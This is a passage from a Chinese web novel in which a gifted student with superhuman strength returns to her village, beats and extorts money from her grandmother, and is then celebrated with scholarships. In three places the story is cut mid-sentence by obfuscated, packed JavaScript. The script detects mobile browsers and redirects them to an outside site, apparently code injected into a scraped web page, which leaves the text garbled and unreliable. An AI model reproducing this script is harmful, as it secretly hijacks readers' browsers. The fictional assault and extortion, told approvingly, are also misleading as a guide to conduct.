但她们有种她女儿没有的气质，朝气蓬勃，落落大方的，比她女儿成熟稳重。崔皓月也有这种特殊的气质，她们的举止从容随意，她们是同龄人中最优秀的那一批。 “名牌大学随便挑！” 陈秀丽想起徐凌波在家族群里发的图片，崔皓月高考698分，全省排名前三十。 省内有多少考生？ 光是徐凌波读的高中，考到年级前三十也不容易。 崔皓月却考到全省前三十名。 陡然间，陈秀丽意识到，她不能用对待徐凌波的态度对待崔皓月等人。 即便崔皓月是上大学需要别人资助的穷学生，可崔皓月只要不出什么意外，她的未来将一片光明。 想到这里，陈秀丽不由得更客气了，笑着问崔皓月：“你中午不在家里吃顿饭吗？我让我婆婆杀鸡去了，要不你们中午在我这吃饭？人多不要紧，我婆婆养了十几只走地鸡，多杀几只就够吃了。” “午饭就不麻烦你了。”崔皓月有自己的计划，“凌波妈妈，听说大家在传我的流言，你跟我说说是怎样的流言，我很想知道。” “呃……”陈秀丽的神色变得尴尬起来，回避道，“你、你还是回家问你奶奶比较好，我们跟你也没有联系，你的事，我们全是听她说的。” “大家传我给有钱男人做情人，是吗？” 崔皓月直视陈秀丽的眼睛，无法不对流言愤怒。 散播谣言的奶奶可恨，听风是风听雨是雨的陈秀丽助力谣言传播，不思考谣言背后的逻辑是否行得通，难道不可恨？ 谣言从来不是一个人完成的。 传了她的谣言，陈秀丽怎么还好意思邀请她留下吃饭？ 是犯错的补偿心理，还是故意利用请人吃饭把传谣掩盖过去，假装一切没有发生？ 陈秀丽目光躲闪，不敢直视她。 崔皓月说：“要是我一直不回家，要是我考得一般，凌波也没有告诉大家我考了多少分，大家会一直误会我。就算我上了最顶尖的那两座大学，你们也会胡乱猜测，觉得我靠着有钱男人资助才能进那两座大学。” 有些事不必发生在自己身上，她看到别人的遭遇就能预见。 像陆晨曦的妈妈陆鸿，她凭自己取得成功，却有很多人怀疑她靠男人施舍。 女人的黄色谣言总是格外引人关注。 她们所有的成就，她们所有的钱，必须是她们一点点努力得来的，不能依靠任何人。 依靠了便是令人不齿的。 男人呢？ 陆晨曦家里有钱，男生们聊天时说到她，毫无负担地说“富婆饭饭”，没有人嘲笑他们吃软饭，没有人认为男人依靠女人是耻辱。 一个女人，一旦和男人牵扯，她得到的是嘲笑和不屑。 一个男人，一旦和女人牵扯，他得到的是羡慕。 如果他和多个女人牵扯，这叫风流，男人们更羡慕。 凭什么世界是这般双标的模样？ 凭什么世界如此刻薄地对待女人，如此宽容地对待男人？ 愤怒在胸膛里激荡，崔皓月无意识地把木桌的边角捏出几个洞，手指穿过一两厘米厚的木板才反应过来。 “你……你……” 陈秀丽盯着崔皓月抠的洞，张目结舌，这是人做得出的事情？ 徐凌波不禁瞪大眼睛，陆鸿的表情也有些呆滞了，她们盯着桌角上的洞，目光在洞和崔皓月之间移动，惊疑不定。 晏北回下意识地捏了捏桌子，是实木的，很硬，得动用电钻才能快速钻出洞来。 结果崔皓月随随便便抠出来几个洞。 这就是武道入门的实力？ 晏北回两眼放光，只想立刻习武，催促道：“皓月，咱们中午能回去吧？” 崔皓月：“应该能。” 陆晨曦拍了拍桌子，面色如常：“桌子用了很多年吧？有点老旧了，该换一张新的。” 弄坏桌子要承认，崔皓月衡量着桌子的价值，抖了抖手指上沾的些许木屑，歉意地告诉徐凌波：“弄坏你家桌子，对不起，我赔你一张新的。” “不是，你怎么弄坏这桌子的？” 徐凌波用力捏了捏桌子，根本捏不动，那么硬。 她抓住崔皓月的手，普普通通的一只手，热乎乎的，不是钻石做的，也不是钢手铁手，怎么能把桌子抠出洞？ 顾不得礼貌，陈秀丽也上前捏崔皓月的手，是肉做的，怎么力气那么大？ “力气大了一点。”崔皓月如此解释。 “怎么了？气氛咋怪怪的。”陆昀刚停好车，带着保镖们进来，“给我一杯白开水，妹，我渴了。” “没有白开水，只有茶。”陆鸿指了指桌子上没喝过的茶，“自己拿。” 陆昀长得又高又壮，保镖也是这个类型，徐凌波家的客厅一下子变得拥挤起来。陈秀丽一看她们就知道她们很能打，想到崔皓月超乎常理的怪力，有些害怕。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817827|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她轻轻推了推徐凌波，眼神扫过陆昀等人：“这位是……？” 徐凌波连忙介绍：“这是陆晨曦的姨姨，一位军人，别的是保镖。皓月在学校里读书，她爸都敢带着一群人去学校逼她嫁人，闹得上新闻，坏了风气。不带几个厉害的保镖，别人哪敢来我们村？” 在村里生活了半辈子，陈秀丽不觉得村里危险。 可是崔皓月的爸爸…… 陈秀丽叹气：“她爸做人怎么能那样离谱？” 崔皓月她爸知道崔皓月是什么人吗？ 力气大到能把实木桌子抠出几个洞来，这样的女儿谁敢逼她辍学嫁人？她不愿嫁人，把她逼急了，她不得捏碎别人的脑袋。 桌角的洞太吓人，陈秀丽连赔偿都不敢要了，小心翼翼地说：“桌子不结实，弄坏了不能怪你，你不用赔新的。” 脑筋急转，她为崔皓月想好借口：“我家凌波在你家住了好几天，劳烦你照顾她，桌子坏了只是小事，别放在心上。” 这是真心话。 崔皓月望向徐凌波：“那我，不用赔新的？” “不用，一张老桌子，能值什么钱？”徐凌波满不在乎，“让我爷爷做一张新桌子，反正他会木工，家里有木材，不用白不用。” 桌子被弄坏了？ 陆昀扫一眼八仙桌，也看到那几个刚抠出来的洞，然而她的脑洞不够大，想象不到这几个洞是崔皓月抠的。 事情跟自己无关，陆昀懒得关心，拿起茶水一口喝完，拿起茶壶倒了新的，问：“这是皓月的家？” “是凌波的家。”崔皓月回答，“她妈妈邀请，便进来坐一下。” “你家在哪？”陆昀问。 “步行几分钟能到。”崔皓月喝完自己杯里的茶，看到陈若龙等人停好车下来，便站起身对陈秀丽说道，“谢谢招待，我得回我家了。” …… 为了赚钱，村民外出打工，村里人不多。 由于徐凌波的宣传，村里人都知道崔皓月曾是徐婷婷，知道她高考698分，所有的知名大学她想上就能上。 看到车队进村，他们都过来看热闹。 见到红色的宝马停在徐凌波家的院子，大家啧啧称奇。 这就是一百五十万的宝马车？ 好高贵！ 乡下人对城里的有钱人似乎怀着一种天然的畏惧，普通村民们小声说话，不敢靠近。 崔皓月一行人从徐凌波家里出来，村里人看了看她，忽略她和她的好朋友们，分辨着陆鸿和陆昀姐妹谁才是传说中崔皓月傍上的有钱大老板。 陆昀头发短，虎背熊腰，村民们窃窃私语。 “这个是男的吧？” “女的哪有头发这么短的，这么壮实的？要是女的，谁敢娶她啊！” “她有胸，女的吧？不像男的……” “这男的跟那女的是夫妻吧？”有人误会了姐妹关系。 崔皓月听力好，陆昀的听力也不错。 听到村民误会性别，陆昀立刻看向说话的村民，大声说：“在那里讲什么？我是女人，不能剪短发？不能壮实？谁规定的？” 村民头一缩，不敢跟看起来很能打的陆昀当面对峙。 “那男的躲什么？出来！”陆昀沉声喝道。 身为军人，陆昀颇具威严，男村民被她一喝，浑身一哆嗦，战战兢兢地站出来，垂着头看地面，吭也不敢吭一声。 陆昀一脸不高兴地说：“睁大你的狗眼看清楚了！我是个女人，说我男的是侮辱我，你立刻向我道歉！” 男村民缩脖子，更加害怕了。 这么横的一个女人，他哪里惹得起？ 大步走到他面前，陆昀态度强硬：“抬起头，看我，向我道歉！” 别的村民害怕地躲开，其中一个男的扭头就跑，被陆昀一把揪住，忙问：“你想干嘛？” “刚才是你说我跟我妹是夫妻吧？”陆昀将这男的放开，顺手推得他一趔趄，差点没摔倒在地上。 两个男村民一个不敢跟她动手，一个力气没她大。 陆昀轻松摆布他们，拍拍手上的灰，说：“你们两个都要向我当面道歉，别让我重复第三遍！” 崔皓月走过来，保镖们也跟着过来了。 发现村里人不肯为自己出头，两个男村民不情不愿地对陆昀说对不起，再也不敢看热闹，逃也似的溜走了。 剩下的村民躲得远远的，没有一个敢说闲话，没有一个人敢凑上前。 毕竟警车也来到村里，警察们已经下车。 为首的警察女士同样有着壮实彪悍的身材，头发也剪得短短的，外表十分威严。 67.算账 在这个小山村，头发短的、个子高的、壮实的都是男人，尽管他们当中最高的那个不到一米八，最壮的肥胖如猪。像陆昀、警察女士、保镖们这样彪悍的女人，村民们就算会上网，也没有见过。 看着陆昀收拾两个碎嘴的男村民，陈秀丽庆幸自己没有错认陆昀的性别。 随后，她想起那两个男村民也讲过她的闲话，不由得心生快意，又隐隐地有些向往陆昀的强势作风。 做人就应该这样，谁惹她生气，她便出手教训谁。 但陈秀丽不会这样做，也不会讲心里话。为了平静的生活，为了安稳的家庭，她必须做一个安分守己的女人，不能有出格的表现。 女儿徐凌波挨着她，小声说：“妈，陆姨姨真的好酷！” 陈秀丽看了徐凌波一眼，没说话，脸上流露出些许不赞同的神色。 无论是外表还是行事，陆昀都不符合世俗对女人的要求，她更希望女儿走向受人欢迎、令人羡慕的未来。 农家小院无法容纳七辆车，继警车停好后，陈若龙和梁记者也找到合适的地方停车，市政府、乡镇政府停车的地方稍远。 一群人会合，徐凌波家的院子也变得拥挤起来。 徐凌波的爷爷不知从哪里钻出，拿着烟，想寒暄却开不了口。 他回到厨房里，跟徐凌波的奶奶嘀咕：“来的都是女的，我跟她们说不上话。” 是男的可以递烟，女的根本不抽烟，怎么打招呼？聊孩子？老头嘟囔着阴盛阳衰，摇摇头，放下烟袋，出去寻找说话的机会。 人家女老板也是有钱的，女领导也是有权的，不能因为她们是女人就看轻她们。 来的是女人不是男人，徐凌波的奶奶觉得挺好的，她不喜欢闻二手烟。 透过厨房的小窗，她往外看。 见到一个戴帽子的女人，扛着一根模样像大炮的怪东西，她好奇之下走到院子里问孙女：“凌波，那是什么玩意？” “摄影机？”徐凌波也不了解，“是拍照片的器材吧。” “拍照片的啊，这么奇怪。”徐凌波的奶奶一把年纪了，还没拍过照片呢。 虽然她有一个能拍照的智能手机，可她不会操作，她也没想过拍照。 徐凌波解释：“戴帽子的是报社的摄影师，红衣服的是记者，她们是来采访皓月的。” 记者？采访崔皓月？ 徐凌波的奶奶觉得稀奇，看看记者，又看看摄影师，疑惑地说：“她怎么跟你妈聊天？” 拉着奶奶，徐凌波过去听记者跟陈秀丽说话。 梁记者是文化人，说话文绉绉：“陈女士，你有工作吗？我想采访一下你，了解乡镇女人的日常生活。” 陈秀丽很乐意接受记者采访：“我当然有工作，今天凌波回家，我特地请了一天假。” 梁记者：“能透露一下工资吗？你的工作忙不忙？” 陈秀丽：“工资很少，也就两三千，忙倒是不算很忙。” 梁记者：“你和你女儿相处的时间长不长？有没有想过去大城市里打工？” 陈秀丽：“凌波去市里上高中，我才跟她分开。大城市太远了，我没啥学历，在大城市也没房子，还是留在家里吧……” 梁记者：“你有别的孩子吗？” 陈秀丽：“还有个儿子，在市里读高一。” 梁记者：“你丈夫呢？” 陈秀丽：“他很忙，家里全靠他赚钱……” 听了几句，徐凌波的奶奶小心翼翼地开口说：“你们……要不进屋里聊？外面怪晒的，你们城里人皮肤嫩，晒坏了可就不好了。” “进我屋里喝杯茶吧。”陈秀丽热情地邀请记者，“中午可以留下来吃顿饭，我们杀了一只鸡。” 梁记者看了看离开的崔皓月一行人，让摄影师跟上去，自己继续采访陈秀丽。 她要写一篇有深度的文章，引起社会讨论，采访不能蜻蜓点水。 小伙伴走了，徐凌波犹豫不决，是去小伙伴家看热闹还是听记者采访？恨自己不能变成两个人，同时做两件事，她对妈妈说：“我去皓月家看看。” 记者跟妈妈聊什么，待会儿问妈妈她就知道了。 “这孩子……”陈秀丽不满，“都十八岁了，还毛毛躁躁的，像个没长大的小孩。” “年轻人更喜欢和年轻人一起玩。”梁记者温和地说，“她跟皓月关系很好，是一起长大的好朋友吗？” “唉，村里的女孩就她和皓月念完高中，也不怪她俩要好。”陈秀丽叹气，“凌波有个小三个月的堂妹，去年结婚，今年生了个女孩，凌波跟她聊不到一起……” 十七岁结婚？梁记者吃了一惊：“得二十岁才能领结婚证吧？” “摆酒了就是结婚了，乡下人都这样，结婚证领不领都无所谓。”陈秀丽不以为意，“凌波的堂妹叫慕娣，比皓月可怜多了。孩子才生下来，她老公就出轨了，我都不知道她以后怎么办……” …… 徐凌波家是楼房，崔皓月的老家仍是泥砖搭建的瓦房，称不上破败。可邻居住楼房，外墙贴瓷片，泥砖瓦房便被对比得简陋陈旧许多。 奶奶已经被村民告知崔皓月回到村子里，她毫无迎接的想法，拿着扫帚驱赶屋子附近徘徊的鸡，骂它们不懂事，只会找她要吃的，不会出去觅食。 她是个矮小瘦削的老太太，见到崔皓月带着一大群人出现，愣愣地看，有些畏惧。 孙女是回来找她麻烦的？ 她绷着脸，觉得孙女的胆子不至于那么大。 自己这个奶奶也没亏待孙女，孙女能拿她怎么着？ 对崔皓月来说，家还是记忆中的模样，奶奶也是记忆中的样子，不会笑，看起来很不慈祥。实际上，奶奶确实不是慈祥的老人，崔皓月不会忘记奶奶讲过的刻薄话，不会忘记奶奶怎样吝啬地对待她。 今天，她要跟奶奶算账。 奶奶看向她，她无法保持平和，冷漠地与奶奶对视，眼神里流动着丝丝恨意。 两秒后，奶奶移开了目光。 是心虚还是害怕？ 崔皓月没细想。 奶奶的退避是示弱，是和好的讯号，但她心中的怨气不会因此消散，她不和好，她要将全部怨气发泄出去。 现在的她，早就不是那个无法面对奶奶，只能狼狈逃离的徐婷婷。 在此时，在此刻，感到手足无措的人，是奶奶，不是她。 崔皓月脚步稳健地走向奶奶，注视着这个刻薄的老人，说道：“我回来了！” 过去的她不够坚强，承受不起奶奶给的伤害，不逃离会被伤害得更深。如今她养好伤，变得更坚强，是时候为过去的自己复仇了。 奶奶听出她的语气不对劲，再次看向她，见她目光冷冷的，禁不住退后两步，质问的话脱口而出：“你回来干嘛？带那么多人到家里来，要打死我这个老太婆？” “我考了698分，所有大学都欢迎我就读。” 崔皓月没有回答奶奶的质问，她看着色厉内荏的奶奶，想到的是过去没钱买月经用品的窘迫，是便宜没营养的一日三餐。 她这么优秀，奶奶会后悔没有从前好好对待她吗？ 她希望奶奶后悔，可是后悔有什么用？ 如果奶奶好好对待她，她会更优秀，偏偏奶奶不肯好好对待她。 奶奶恨她，她更恨奶奶。 崔皓月握紧了拳头，质问奶奶：“你为什么要造谣我傍男人？我是你亲孙女，你为什么造谣我给男人当情/妇？你明明见过资助我读书的陆女士，你收过陆女士送的贵重礼物！告诉我，你为什么故意让大家误以为资助我的陆女士是男人？” 孙女都知道了。 奶奶垂着头，心虚了几秒，很快理直气壮起来：“你是我亲孙女，我造谣你干嘛？别人乱说的话你也听！我可没说过你傍男人，别人说你，你找别人去，跟我发什么脾气！” 崔皓月毫不意外奶奶的反应。 她犯错，十恶不赦，就算过了好几年，奶奶也能把她骂得狗血淋头。 奶奶犯错，是连承认都不会承认的。 除了辈分更高的老人，谁能惩罚奶奶这个老年人呢？顶多批评奶奶几句，不痛不痒。 但，凭什么老人犯错能免于惩罚？ 错了，就得承受错的后果。 崔皓月走近奶奶，盯着她说：“除了你，村里谁会讲我的是非？别人都说你造谣我，你确实造谣我，你为什么不承认？你也知道你造谣亲孙女傍上有钱人很恶毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831978|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？” 奶奶感觉到压迫感，梗着脖子瞪她：“我是你的亲奶奶！” 崔皓月扬起手：“亲奶奶能造谣孙女傍男人吗？” “啪！” 她一巴掌打在奶奶脸上，问道：“我打了你，你满意了吗？你要不是我奶奶，我会把你告上法庭！” 有些人讲不通道理，必须使用暴力交流。 李金凤是这样的，奶奶也是这样的。 扇了一巴掌，崔皓月觉得不解气，又在奶奶的另一边脸上扇了一巴掌。 迎着奶奶惊愕的目光，崔皓月放下手，心情平静下来，问她：“你痛不痛？” “你……”脸上火辣辣的，奶奶气得说不出话来。 “你不痛的话，我还可以打。”崔皓月认真说，“你四处造我黄谣，我很生气，很愤怒！我改名那天你给我二十块，我以为你会跟我好好相处，结果你故意抹黑我的名声。我不仅是你的孙女，还是你的仇人，你为什么那么恨我？” 她是真的想知道，为什么奶奶那么恨她。 因为奶奶小时候过得不好，所以见不得她好？ 还是因为她是女孩，所以奶奶认为她不配过好好日子？ 恨必有因，奶奶不说，崔皓月猜不到。 两巴掌太轻，不足以弥补她曾经受到的伤害，她抓着奶奶的胳膊进屋，看到放在八仙桌上的大屏幕电视机。 家里没有楼房，却有网，过年时爸妈弟弟回来，能用wifi上网。 她没钱买月经用品，袜子破了没钱换新的，可是家里的电视机看起来那么高级，能收到很多电视台，看到很多节目。 当然，她是没用过这个电视机的，她也没有享受过老家的wifi有多便利。 崔皓月放开奶奶，看向电视机旁边的监控摄像头。 她爸偶尔用摄像头跟奶奶聊天，据说摄像头录下的视频能在云端保存，所以…… 爸爸看得到。 调整了摄像头的角度，崔皓月对它说：“我回来了。” 然后，她一拳击碎了电视机的屏幕。 电视机报废了。 内劲保护她的拳头，令她免于受到玻璃碎片的伤害。 她面不改色，一掌劈开八仙桌，报废的电视机摔向地面，发出沉闷的声音。旁边的八仙桌放杂物，她也给了一掌，桌面裂开，杂物纷纷摔在地上，乒乒乓乓。 转过身，崔皓月面向奶奶。 奶奶的脸色变得苍白，嘴唇哆嗦，看她的眼神充满了惊惧。 屋外传来了陆晨曦的说话声，墙壁挡住她们，除了奶奶和摄像头，没有人看到崔皓月干了什么。 崔皓月在木沙发上坐下，翘起了二郎腿，仿佛是这个家的主人，姿态从容闲适。 “坐，奶奶。”她拍了拍身旁的位置。 亲眼见到她砸东西，奶奶不敢坐。 崔皓月无所谓奶奶坐不坐，看着奶奶的眼睛，问：“以后你还造谣我吗？” “不、不会了……”奶奶惊恐地摇头。 “不会就好。”崔皓月淡淡地说，“我希望你澄清谣言，别让我为难。” 让她为难会怎样？ 奶奶看着损坏的电视机、桌子，不敢问。 孙女变得非常可怕，就像恶鬼附身，再也不是她记忆中的模样。 崔皓月问：“你存了多少钱？” 奶奶抿着唇，不想说。 崔皓月捏住木沙发的扶手，毫不费劲地把扶手拆下，扔垃圾一样扔在地上。 这是露骨的威胁，奶奶不想变成扶手，老实回答：“四五万，我要留着买棺材的！你上大学有人资助，用不着我给你钱吧？你要钱，问你爸去，别惦记着我的棺材本！” 基本没有收入，却能存四五万。 揣着四五万的存款，却连买月经用品的钱都不舍得多给孙女一块。 随即，崔皓月想到奶奶时不时拿十块二十块参与赌博，赢钱的次数屈指可数，她说不清心里是什么感受。 “不止四五万吧。”崔皓月不相信奶奶的话，“我爸给你钱，叔叔给你钱，姑姑也给你钱，你还挺有钱的。奶奶，上大学要生活费，你打算给我多少？给三四万吧，等我毕业了找到工作，我会给你钱，好好孝顺你。” 68.好孩子，坏孩子 暴力是一种震慑手段，能得到被迫的服从。 暴力意味着权力。 崔皓月承认，她扇了奶奶耳光，心情变得畅快。过去那些奶奶使她遭受的委屈、痛苦，都随着那两巴掌的落下得到宣泄。她的伤口愈合了。 但暴力也释放了她的恶意。 她想，她不能看的电视，奶奶凭什么看？她没钱买月经用品，凭什么家里能用那么高级的电视机？于是她一拳击碎电视机屏幕，两巴掌劈碎两张八仙桌。 过去的她生活拮据，奶奶对她吝啬，却经常拿钱赌博，凭什么奶奶不给她钱？既然奶奶不给，那就问奶奶要。 反正奶奶的钱不花在她身上，总会花在别人身上，不是吗？她很优秀，优秀到整个家族找不到第二个像她这样的人，奶奶的钱给她花，显然更值得。 她好像变坏了。 不孝顺，不善良，不听话。 奶奶看她的眼神就像在看抢劫犯，崔皓月感到一丝愧疚，更多的却是快意。 她平静地想：好孩子得不到钱，也得不到爱，除了委屈和痛苦，好孩子什么都没有。她宁可做一个坏孩子，得不到爱，至少可以得到钱，得到惩罚坏家长的爽感。 再坏一点。 崔皓月品尝着暴力带来的美妙权力，对奶奶露出发自内心的笑容：“你觉得给三四万不够？那就给我四五万好了，上大学要用很多钱，我也觉得三四万不够花，多一万块钱生活费，我能过得更好。” “你……”奶奶终于忍不住，“你怎么不去抢？银行全是钱，你要钱，你去银行抢啊！” “银行在镇上，可是你在我面前。”崔皓月伸出手，轻而易举地抓住奶奶，“我也没本事去银行抢钱，还是问你要钱比较好，你不愿意给我钱吗？” “给个屁！臭丫头，我打死你！”奶奶用力挣扎，要拽她头发，抠她眼珠子，被她毫不费劲地制服了。 暴力实在太好用，崔皓月握住奶奶的手，从容地问：“你想不想知道手指折断是怎样的感觉？” 一边说，她一边卸了奶奶的拇指关节，并捂住对方的嘴，防止对方尖叫。 拇指不听使唤，喊又喊不出声音。 看着崔皓月平静得近乎冷酷的模样，奶奶怕了，也明白了。 对她说“我回来了”的崔皓月，不是她记忆中怯弱内向的孙女，而是一只附在她孙女身上的恶鬼。 一个一拳打碎电视机，两巴掌劈碎桌子的怪力恶鬼。 一个扇她两耳光，折断她手指的无情恶鬼。 她不愿意承认崔皓月是她的孙女。 她忘了她造谣孙女傍男人，忘了她过去怎么吝啬苛刻地对待孙女。 人只会在伤害落在身上的时候感觉到痛，伤害别人的时候他们从来都不会觉得痛。 “肯给我钱了？”崔皓月读懂奶奶的畏惧眼神，放开她，“你在银行存了一万一千二百，密码是***，剩下的钱你藏在哪？” 太可怕了！银行存了多少钱都知道，密码也知道，这肯定是一只恶鬼！ 奶奶得到自由，立刻逃离，生怕被崔皓月抓住。 她的拇指还是不听使唤，她想逃到屋外，屋外那么多人看着，崔皓月能拿她怎么办？ 但崔皓月含笑看她，似乎一点都不担心她逃到人群里。 于是，奶奶想起来了，外面那些人，全是崔皓月带回来的。 她们无疑是崔皓月的同伙。 所以，她怎么逃？ 她根本逃不了！ 奶奶终究没有跨过大门的门槛。 钱再重要，没有命也是享受不到的。 她认命地带崔皓月去拿她藏起来的钱，给了崔皓月四万，全是一百元整的现金。 摸着这些钱，崔皓月轻轻地叹气。 在她最需要钱的时候，她没有，现在她不是很需要钱，却拥有了从前意想不到的钱。 奶奶是她的亲人，为什么不能对她大方一点？ 崔皓月把钱放进口袋里，不慌不忙地走出屋子，邀请陆晨曦、晏北回、陈若龙等人进家里做客，吩咐奶奶端茶递水，顺手把奶奶的拇指恢复正常。 大家看到电视机和桌子残骸，很默契地没有问刚才发生了什么。 在大家看来，崔皓月是个优秀的好孩子，她不可能伤害她的奶奶。就算被气坏了，也只是打奶奶两巴掌——谁家奶奶会造谣亲孙女傍男人啊？ 碰到这种为老不尊的东西，扇两巴掌并不算过分。 家里没有准备开水，也没有茶，好在有专门烧开水的电器，一次性杯子也是有的，不至于来做客了连一口水都喝不上。 邻居大婶闻讯而来，带着开水和茶叶，倒是比奶奶更像主人。 徐凌波的爷爷也来了，带着村支书挤进崔皓月的家，自然而然地命令徐凌波伺候客人，要代替崔皓月招待客人。 在家被妈妈使唤，在小伙伴家被爷爷使唤，徐凌波很不乐意地噘嘴，看着崔皓月说：“我是你的客人吗？客人不用干活吧？” “当然不用。”崔皓月不满地对徐凌波的爷爷说，“这里是我家，她们是我的客人，不必你替我操心。” “你这小孩子能懂什么？叫你奶奶出来。”徐凌波的爷爷不屑于跟她对话。 “出去。”崔皓月抬起手推了他一下，“你，从我家里出去。” 遭到驱逐，徐凌波的爷爷脸色黑沉：“你在说什么？有你这样做人的？你的奶奶呢？” 听不懂话的人，动手就行。 崔皓月抓住这老头，直接将他拖到门口，一把推出去，明确地说：“别进我家，我家不欢迎你这样的人。” 众目睽睽之下被赶走，老头面上挂不住了，恼怒地说道：“你怎么做人的？你以为你考了个好分数就是皇帝？我好心替你张罗，你把我的好心当成驴肝肺？我呸！你这样做人，以后谁还来你家？” 老东西都这么胡搅蛮缠的吗？ 崔皓月皱起眉：“我不需要你在我家里指手画脚！” 老头更生气，见到徐凌波还留在崔皓月家里，喝道：“徐凌波，你出来，我们走！” 徐凌波看了看他，又看了看崔皓月，犹豫不决。 做客的警察女士看不下去，主动站出来：“你这老头，跑别人家里当大爷来了，你还很有理？崔同学不欢迎你，你赶紧走，别为难徐同学，人家可没有失礼。” 警察是老头惹不起的人，老头不敢吭声了。 他瞪着徐凌波，无声地威胁她，不许她留在崔皓月家里。 “哼！”陆晨曦恼了，挽住徐凌波的手，“别理他！你的学费又不是他给的，他要是妨碍你爸妈给你交学费，我让我妈资助你上大学！” 得到支持，徐凌波放松下来，侧头看崔皓月的反应，担心小伙伴不欢迎自己。 崔皓月正朝她笑，她不担心了，立刻回以笑容。 村支书认得出代表乡镇政府来到崔皓月家的女士，有意巴结对方，见这位女士对徐凌波爷爷表露不喜，立刻呵斥徐凌波的爷爷：“你还是回家去吧，你孙女在这就够了。” 连村支书都不给自己说话，徐凌波的爷爷顿时垂头丧气起来，灰溜溜地离开了。 村支书是站自己这边的，徐凌波更安心。 少了个当大爷的人，气氛更融洽。 大家也不是单纯来做客的，歇息了一会儿，见到屋外围观的村民多了，代表市政府的周女士走到崔皓月家门口，将装在红包里的五千元奖学金交给崔皓月： “崔同学，希望你继续努力，成为一位对国家有用的人才！” 崔皓月恭敬地接过了奖学金：“谢谢，我会努力学习，绝不辜负国家的期望！” “咔嚓！” 摄影师拍下照片。 代表乡镇政府的女士用力鼓掌，大家跟着鼓起掌来，祝贺崔皓月。 市里偶尔有学生成绩优异，乡镇却是头一次有人考到能上国内两座顶尖大学的高分，奖学金给得相当慷慨，厚厚的一个红包，奖学金多达五万块。 发完丰厚的奖学金，乡镇政府的人特地拉起一条横幅，上书“祝贺我镇崔皓月同学在高考中取得698分好成绩”，请崔皓月捧着奖学金站在横幅前拍照。 这张照片会放在乡镇政府宣传栏里。 接着发奖学金的是代表一中的校领导女士，给的是三万元，数额也不小。 省内前三十名，含金量可不低。 到了最后，村支书急匆匆地掏出一个大红包，笑着递给崔皓月：“你是我们徐家村的金凤凰！你考得那么好，村里也得鼓励鼓励！拿着，这是村里给你的奖学金！” 市政府镇政府都鼓励崔皓月，他岂能落后？ 村支书不说红包多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837813|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱，崔皓月却不能不让大家知道。 她当众拆开红包，拿出了两千元现金。 这钱哪来的她不清楚，到了她手里，钱便是她的。 她向大家展示，不卑不亢地对村支书说：“谢谢大家给我的奖学金！我以后一定会回到村子里，带领家乡走向富裕！” 家里的老宅、田地、山林，她都要！ 徐凌波、徐景星也是村里的孩子，她们家的资产也要分给她们！ 对比政府和学校，钱给得少，村支书的表情有一点尴尬。 怎么崔皓月当场把红包拆开了？ 可他还是带头鼓掌，说了一些勉励她的话。 “皓月！”邻居大婶拿着红包，有些局促地走到崔皓月面前，将红包递给她，“恭喜你考到好成绩！” 今天之前，崔皓月从未拿过这位大婶给的红包，大婶是第一次发红包，她也是第一次拿。 她笑着说道：“谢谢你。” 徐凌波的妈妈也和梁记者一起来了，邻居大婶给了崔皓月红包，陈秀丽不甘落后，同样拿出一个红包：“皓月，希望你学业进步，步步高升！” 给完红包，她悄悄地瞪了徐凌波一眼：你咋不争气点？瞧瞧人家，多风光！ 徐凌波装作没看到妈妈的暗示。 其余村民有样学样，或回家包红包，或对崔皓月讲鼓励的话。 在众多村民面前，警察女士代表警方表彰崔皓月，告诉所有人崔皓月见义勇为，救了两个人。 她也没忘了告诫崔皓月，见义勇为之前，要确保自己安全。 随后，警察女士公开批评崔皓月的爸爸徐峰，批评崔皓月的奶奶。 她声色俱厉地对崔皓月的奶奶说：“未满十八岁的青少年受未成年人保护法保护，你身为她的家长，竟然逼迫她辍学嫁人，你眼里还有国家法律吗？你违法犯法会被抓去坐牢的，你知不知道？” 小老百姓哪里见识过这个场面？奶奶吓得脸都白了。 警察女士接着说：“造谣污蔑别人也是法律不允许的事，你身为皓月的奶奶，应该关心她呵护她，怎么能造谣她？” 奶奶绷着脸，尴尬无比。 警察开口，所有人都知道她造谣孙女。 以后她在村里还怎么过日子？ 想到所有认识的人都会劝自己好好对孙女，就算自己说孙女被猛鬼附身，也不会有几个人相信，奶奶焦躁极了。 该死的崔皓月！ 拿了那么多奖学金，一块钱都不肯给她！还抢走她的棺材本！ 早知道徐婷婷会变成这个样子，她当初说什么都不会把徐婷婷养大。 钱必须找徐峰要回来！崔皓月是徐峰的孩子！都怪徐峰！要是他把孩子带到大城市，她能被崔皓月折磨？ 训完崔皓月的奶奶，警察女士训斥村民们：“不要听信谣言，造谣传谣也是触犯法律的！” 村民不了解法律，害怕被抓去坐牢，纷纷说不敢。 